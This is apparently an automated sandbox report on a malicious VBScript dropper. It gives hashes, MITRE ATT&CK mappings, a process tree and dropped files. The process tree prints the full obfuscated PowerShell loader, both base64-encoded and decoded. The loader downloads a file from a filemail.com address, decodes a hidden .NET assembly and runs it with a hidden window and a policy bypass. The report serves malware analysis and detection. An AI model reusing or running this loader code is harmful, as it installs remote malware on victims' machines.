76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2

General

Target

76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs
Size

12KB
MD5

8a330624d5189d9bcd491d93c29624c4
SHA1

b89dd3334cd355360ae7e6f85a060dbe4de9d01d
SHA256

76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2
SHA512

9af32c229db64bb133a39e7e3ec12dd269d971734fe2e46c61c0167696d6dc43c7ad274e7cbbcb0c41ac529a3ccdbb2a6e04ee1807cdfbe1dd3af11462016685
SSDEEP

96:khBZNNgct8LOgrf8x/JIcBkiYM1z9jRFtRQLNkOAhqL5s7n1muCweU:YBZNUOgrf6/JIcBkiYM1zbuLi7Aub

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
3	1052	WScript.exe
4	1052	WScript.exe
8	2644	powershell.exe
9	2644	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2196	powershell.exe
2644	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2196	powershell.exe
2644	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.exeWScript.exepowershell.exe

description	pid	Process	procid_target
PID 2408 wrote to memory of 1052	2408	WScript.exe	28
PID 2408 wrote to memory of 1052	2408	WScript.exe	28
PID 2408 wrote to memory of 1052	2408	WScript.exe	28
PID 1052 wrote to memory of 2196	1052	WScript.exe	29
PID 1052 wrote to memory of 2196	1052	WScript.exe	29
PID 1052 wrote to memory of 2196	1052	WScript.exe	29
PID 2196 wrote to memory of 2644	2196	powershell.exe	31
PID 2196 wrote to memory of 2644	2196	powershell.exe	31
PID 2196 wrote to memory of 2644	2196	powershell.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\76cef289abc1b016df678ab28308da2373708a45d99528346409fcb809c813a2.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\emksjAafCReiQSFZxSk.vbs"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:1052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNoZUxMSURbMV0rJHNoRUxMSURbMTNdKydYJykgKCgnV0V3aW1hZ2VVcmwgPSBUb1JodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maScrJ2xlL2dldD9maWxla2V5PTJBYV9iV285UmV1NDV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0RycrJ3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzNXcmcGtfdicrJ2lkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MCcrJzRmIFRvUjtXRXd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQycrJ2xpZW50O1dFd2ltYWdlQnl0ZXMgPSBXRXd3ZWJDbGllbnQnKycuRG93bmxvYWREYXRhKFdFd2ltYWdlVXJsKTtXRXdpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4JysnLicrJ0dldFN0cmluZyhXRXdpbWFnZUJ5dGVzKTtXRXdzdGFydEZsYWcgPScrJyBUb1I8JysnPEJBU0U2NF9TVEFSVD4+VG9SO1dFd2VuZEZsYWcgPSBUb1I8PEJBU0U2NF9FTkQ+PlRvUjtXRXdzdGFydEluZCcrJ2V4JysnID0gV0V3aScrJ21hZ2VUZXh0LkluJysnZGV4T2YoV0V3c3RhcnRGbGFnKTtXRXcnKydlJysnbmRJbmRleCA9IFdFd2ltYWdlVGV4dC5JbmRleE9mKFdFd2VuZEZsYWcpO1dFd3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXRXdlbmRJbmRleCAtZ3QgV0V3c3RhcnRJbmRleDtXRXdzdGFydEluZGV4ICs9IFdFd3N0YXJ0RmxhZy5MZW5ndGg7V0V3YicrJ2FzZTY0TGUnKyduZ3RoID0gV0V3ZW5kSW5kZXggLSBXRXdzdGFydEluZGV4O1dFd2Jhc2U2NENvbW1hbmQnKycgPSBXRXdpbWFnZVRleCcrJ3QuJysnU3Vic3RyaW5nKFdFd3N0YXJ0SW5kZXgsIFdFd2Jhc2U2NExlbmd0aCk7V0V3YmFzZTY0UmUnKyd2ZXJzZWQgPSAtam9pbiAnKycoV0V3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIHRkdyBGb3JFYWNoLU9iamVjdCB7IFdFd18gfSlbLTEuLi0oV0V3YmFzZTY0Q29tbWFuZC5MZW5ndGgpXScrJztXRXdjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0JysnU3RyaW5nKFdFd2Jhc2U2NFJldmVyc2VkKTtXRXdsb2FkZWQnKydBJysnc3NlbWJseScrJyA9IFtTJysneXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYScrJ2QoV0V3Y29tbWFuZEJ5dCcrJ2VzKTtXRXd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFRvUlZBSVRvUik7V0V3dmFpTWV0aG9kLkludm9rZShXRXdudWxsLCBAKFRvUnR4dC5kc3RlcC9wb3AvdWUucHJneGFteWdyZW5lLmdpZy8vOnB0dGhUb1IsIFRvUmRlc2F0aXZhZCcrJ29Ub1IsICcrJ1RvUmRlc2F0aXZhZG8nKydUb1IsIFRvUmRlc2F0aXZhZG9Ub1IsIFRvUmRlc2F0aScrJ3ZhZG9UJysnb1IsIFRvUjFUb1IsIFRvUmNvbG9yY3BsVG9SLCBUb1JkJysnZXNhdGl2YWRvVG9SLCBUb1JkZXNhdGl2YWRvVG9SLFRvUmRlJysnc2F0aXZhZG9Ub1IsVG9SZGVzYXRpdmFkb1RvUixUb1JkZXNhdGl2YWRvVG9SLFRvUjFUb1IsVG9SZGVzYScrJ3RpdmFkb1RvUiknKycpOycpLlJlUGxhY2UoJ3RkdycsW1NUckluZ11bQ0hBUl0xMjQpLlJlUGxhY2UoJ1RvUicsW1NUckluZ11bQ0hBUl0zOSkuUmVQbGFjZSgnV0V3JyxbU1RySW5nXVtDSEFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sheLLID[1]+$shELLID[13]+'X') (('WEwimageUrl = ToRhttps://1017.filemail.com/api/fi'+'le/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStG'+'rnTICfFhmTKj3LC6SQtIcOc_T35w&pk_v'+'id=fd4f614bb209c62c1730945176a090'+'4f ToR;WEwwebClient = New-Object System.Net.WebC'+'lient;WEwimageBytes = WEwwebClient'+'.DownloadData(WEwimageUrl);WEwimageText = [System.Text.Encoding]::UTF8'+'.'+'GetString(WEwimageBytes);WEwstartFlag ='+' ToR<'+'<BASE64_START>>ToR;WEwendFlag = ToR<<BASE64_END>>ToR;WEwstartInd'+'ex'+' = WEwi'+'mageText.In'+'dexOf(WEwstartFlag);WEw'+'e'+'ndIndex = WEwimageText.IndexOf(WEwendFlag);WEwstartIndex -ge 0 -and WEwendIndex -gt WEwstartIndex;WEwstartIndex += WEwstartFlag.Length;WEwb'+'ase64Le'+'ngth = WEwendIndex - WEwstartIndex;WEwbase64Command'+' = WEwimageTex'+'t.'+'Substring(WEwstartIndex, WEwbase64Length);WEwbase64Re'+'versed = -join '+'(WEwbase64Command.ToCharArray() tdw ForEach-Object { WEw_ })[-1..-(WEwbase64Command.Length)]'+';WEwcommandBytes = [System.Convert]::FromBase64'+'String(WEwbase64Reversed);WEwloaded'+'A'+'ssembly'+' = [S'+'ystem.Reflection.Assembly]::Loa'+'d(WEwcommandByt'+'es);WEwvaiMethod = [dnlib.IO.Home].GetMethod(ToRVAIToR);WEwvaiMethod.Invoke(WEwnull, @(ToRtxt.dstep/pop/ue.prgxamygrene.gig//:ptthToR, ToRdesativad'+'oToR, '+'ToRdesativado'+'ToR, ToRdesativadoToR, ToRdesati'+'vadoT'+'oR, ToR1ToR, ToRcolorcplToR, ToRd'+'esativadoToR, ToRdesativadoToR,ToRde'+'sativadoToR,ToRdesativadoToR,ToRdesativadoToR,ToR1ToR,ToRdesa'+'tivadoToR)'+');').RePlace('tdw',[STrIng][CHAR]124).RePlace('ToR',[STrIng][CHAR]39).RePlace('WEw',[STrIng][CHAR]36) )"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RZP9J7OSMOQXUXTCVT6N.temp

Filesize
7KB

MD5
074374e15f81279d3a29e37f2589a648

SHA1
0c2c6b21b70da699616e5900d89495654cda2196

SHA256
dc6f60dba1d65cfaad168fc303ade44379fd9116141b37a3b04edea58b62cc2e

SHA512
b2bc7c1fdff38831639106ce3b3e8d11b9f5c99ea9774847d762cf076c86c390b31860e43d9a1980f8c54eaf793f7e7c410e2567b57fc710e1b61b0f53be4438

Download Submit
C:\Users\Admin\AppData\Roaming\emksjAafCReiQSFZxSk.vbs

Filesize
1KB

MD5
c1ab9e3c7a5a70259e486e1b35e791dd

SHA1
f0f6ebff9ebfac13bf995bccf8193daf58827652

SHA256
6cc7e3be7d1abd44b8cd67b15cbc5c86ee366edc63da01e0b1b7544982551738

SHA512
9d705558cd936e603ae1db6860fa1f2a7337acf8df787ca1acb9a32c96d0345834b705aac1c503215127fefe01057bd789be276cc2a377dc29c856e0b78fd9d2

Download Submit
memory/2196-8-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/2196-9-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads